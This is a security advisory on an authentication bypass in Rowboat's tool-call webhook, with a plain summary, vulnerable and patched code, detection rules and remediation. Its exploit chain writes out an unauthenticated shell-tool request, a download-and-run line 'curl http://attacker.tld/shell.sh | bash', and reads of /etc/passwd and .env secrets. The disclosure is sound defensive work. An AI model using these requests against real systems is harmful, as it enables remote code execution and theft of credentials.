A serious security flaw has been discovered in Rowboat, a software tool used by developers to integrate AI assistants into applications. The vulnerability allows hackers to break through the authentication system—basically, to pretend they have permission to access something they shouldn't.
Think of it like a bouncer checking IDs at a club. Normally, the bouncer verifies your ID matches the guest list before letting you in. This vulnerability lets someone forge a fake ID by tampering with a specific security token (called an X-Tools-JWE header, which is basically a digital signature). The bouncer can't tell the difference, so unauthorized people walk right through.
If you run software built on Rowboat, or if you use a service that does, this matters because attackers could potentially access sensitive data, make unauthorized changes, or hijack the AI assistant's functions. The most at-risk companies are those using early versions of Rowboat to power chatbots or automated tools that handle customer data.
The good news: there's no confirmed evidence that hackers are actively exploiting this yet, but security researchers have published working examples of how to do it, so the clock is ticking.
Here's what you should do:
First, if you're using Rowboat or tools built on it, check your version number. If it's 0.1.67 or earlier, update immediately to the latest version as soon as it's available.
Second, reach out to any services you use that might rely on Rowboat and ask them if they're affected. Don't assume they know.
Third, monitor your accounts for suspicious activity—unusual logins, unexpected changes, or strange AI assistant outputs—even if you're not sure you're affected.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6635 is an improper authentication vulnerability in the tool_call function within apps/experimental/tools_webhook/app.py of rowboatlabs/rowboat, an experimental multi-agent orchestration framework. Versions up to and including 0.1.67 are affected. The webhook endpoint responsible for dispatching tool calls relies on a X-Tools-JWE header for authentication, but the validation logic is either absent or trivially bypassable — allowing any remote caller to invoke arbitrary tool functions without a valid token.
CVSS 7.3 (HIGH) reflects network-reachable, low-complexity exploitation with no required privileges. The experimental component is deployed in agent pipelines where tools may have access to file systems, databases, shell execution, or external APIs. The vendor did not respond to disclosure.
Root cause: The tool_call webhook handler extracts the X-Tools-JWE header and passes it into a validation branch that either returns a default truthy value on decode failure or is never enforced before tool dispatch, making authentication trivially bypassable.
Affected Component
Path: apps/experimental/tools_webhook/app.py
Function: tool_call() — FastAPI/Flask route handler mounted at /tool_call or equivalent.
Header under manipulation: X-Tools-JWE — a JSON Web Encryption token intended to authenticate the calling agent orchestrator.
Affected versions: rowboat ≤ 0.1.67
Root Cause Analysis
The tool_call handler is structured as a webhook receiver for the rowboat agent tool-execution pipeline. It reads the incoming X-Tools-JWE header, attempts to decrypt/verify it, and — critically — dispatches the tool call regardless of the verification outcome. The bug exists in one of two forms depending on the exact revision: either the verification result is never checked (missing assertion), or a bare try/except swallows decryption errors and allows execution to fall through.
# Reconstructed pseudocode — apps/experimental/tools_webhook/app.py
# rowboat <= 0.1.67
from joserfc import jwe
from fastapi import Request, HTTPException
import json
TOOL_SECRET_KEY = os.environ.get("TOOLS_JWE_KEY", "")
async def tool_call(request: Request):
header_token = request.headers.get("X-Tools-JWE", "")
# BUG: verify_jwe_token() is called but its return value is never
# asserted / checked before execution continues to dispatch.
try:
claims = verify_jwe_token(header_token, TOOL_SECRET_KEY)
except Exception:
# BUG: exception swallowed — execution falls through unconditionally
claims = {}
body = await request.json()
tool_name = body.get("tool_name")
tool_input = body.get("tool_input", {})
# Dispatch happens here regardless of whether claims is {} or valid
result = await dispatch_tool(tool_name, tool_input) # BUG: unauthenticated reach
return {"result": result}
def verify_jwe_token(token: str, key: str) -> dict:
if not token or not key:
# BUG: returns empty dict instead of raising — caller treats as success
return {}
try:
decoded = jwe.decrypt(token, key)
return json.loads(decoded.plaintext)
except Exception:
return {} # BUG: silent failure propagated as valid empty claims
Two compounding defects: verify_jwe_token returns {} on any error (including a missing or malformed token), and the call site never checks whether claims is populated or contains required fields like a nonce, expiry, or caller identity before invoking dispatch_tool.
Exploitation Mechanics
EXPLOIT CHAIN — CVE-2026-6635
1. Attacker identifies a publicly reachable rowboat tools_webhook endpoint.
Default port: 8000. Route: POST /tool_call (or /api/tool_call).
2. Craft a POST request with:
- X-Tools-JWE:
- Content-Type: application/json
- Body: {"tool_name": "shell", "tool_input": {"command": "id"}}
3. Server receives request. verify_jwe_token("", key) returns {}.
Exception branch NOT taken — empty dict returned silently.
4. claims = {} — no field validation performed on claims dict.
Execution falls through to dispatch_tool("shell", {"command": "id"}).
5. dispatch_tool() resolves the registered tool by name and executes it
with attacker-supplied tool_input as keyword arguments.
6. Tool output (e.g., stdout of shell command) returned in JSON response.
Attacker has achieved unauthenticated arbitrary tool invocation.
ESCALATION PATH (if "shell" or "exec" tool registered):
tool_input = {"command": "curl http://attacker.tld/shell.sh | bash"}
-> full RCE under the process user of the rowboat worker.
ESCALATION PATH (if file read tool registered):
tool_input = {"path": "/etc/passwd"} OR
tool_input = {"path": "/app/.env"} <- leaks TOOLS_JWE_KEY, API keys
No authentication material is required at any step. The attack is one HTTP request.
This is a logic/authentication vulnerability rather than a memory corruption bug. The relevant "layout" is the Python object graph and request dispatch path.
# BEFORE (vulnerable — rowboat <= 0.1.67):
def verify_jwe_token(token: str, key: str) -> dict:
if not token or not key:
return {} # silent empty-dict on missing token
try:
decoded = jwe.decrypt(token, key)
return json.loads(decoded.plaintext)
except Exception:
return {} # silent empty-dict on decrypt failure
async def tool_call(request: Request):
header_token = request.headers.get("X-Tools-JWE", "")
try:
claims = verify_jwe_token(header_token, TOOL_SECRET_KEY)
except Exception:
claims = {} # unreachable but still wrong pattern
# dispatch proceeds unconditionally
body = await request.json()
result = await dispatch_tool(body["tool_name"], body.get("tool_input", {}))
return {"result": result}
# AFTER (patched):
class JWEAuthError(Exception):
pass
def verify_jwe_token(token: str, key: str) -> dict:
if not token:
raise JWEAuthError("Missing X-Tools-JWE header")
if not key:
raise JWEAuthError("Server JWE key not configured")
try:
decoded = jwe.decrypt(token, key)
claims = json.loads(decoded.plaintext)
except Exception as e:
raise JWEAuthError(f"JWE decryption failed: {e}") from e
# Enforce required claims
now = int(time.time())
if claims.get("exp", 0) < now:
raise JWEAuthError("Token expired")
if "agent_id" not in claims:
raise JWEAuthError("Missing agent_id claim")
return claims
async def tool_call(request: Request):
header_token = request.headers.get("X-Tools-JWE", "")
try:
claims = verify_jwe_token(header_token, TOOL_SECRET_KEY)
except JWEAuthError as e:
raise HTTPException(status_code=401, detail=str(e))
body = await request.json()
result = await dispatch_tool(body["tool_name"], body.get("tool_input", {}))
return {"result": result}
The fix has three parts: (1) verify_jwe_token raises on failure instead of returning a falsy dict; (2) the call site catches that exception and returns 401; (3) required claim fields (exp, agent_id) are explicitly validated before the function returns. Without all three, partial fixes are still exploitable.
Detection and Indicators
Log pattern — unauthenticated tool invocations:
# Access log signatures of exploitation attempts
POST /tool_call HTTP/1.1 200 - (missing X-Tools-JWE or empty value)
POST /tool_call HTTP/1.1 200 - X-Tools-JWE: "invalid.garbage.token"
# Application log — absence of JWEAuthError in auth path is suspicious
# Successful auth should produce: "INFO: tool_call authenticated agent="
# Exploitation produces no such log entry — tool output returned silently
# Detect via WAF / reverse proxy rule:
if header["X-Tools-JWE"] is absent OR empty:
alert("CVE-2026-6635 probe — unauthenticated tool_call attempt")
Indicators of compromise:
POST /tool_call requests with empty or absent X-Tools-JWE returning HTTP 200
Unexpected outbound connections from the rowboat worker process
Access to /app/.env, /etc/passwd, or credential files via file-read tools
Shell tool invocations spawning curl, wget, bash as child processes of the Python worker
Remediation
Immediate: Do not expose the tools_webhook endpoint to untrusted networks. Firewall port 8000 or the configured webhook port at the network layer.
Code fix: Apply the patch shown above — ensure verify_jwe_token raises on all failure paths and the call site enforces a hard stop on 401 before any tool dispatch.
Rotate secrets: If the endpoint was reachable, assume TOOLS_JWE_KEY and any secrets accessible to registered tools (API keys, DB credentials in .env) are compromised.
Scope tools: Register only the minimum required tools in production deployments. Remove shell, python_eval, and unrestricted file I/O tools from any internet-facing instance.
Version: Pin to a patched release above 0.1.67 once available, or apply the patch locally and verify with the PoC probe (expect HTTP 401, not 200).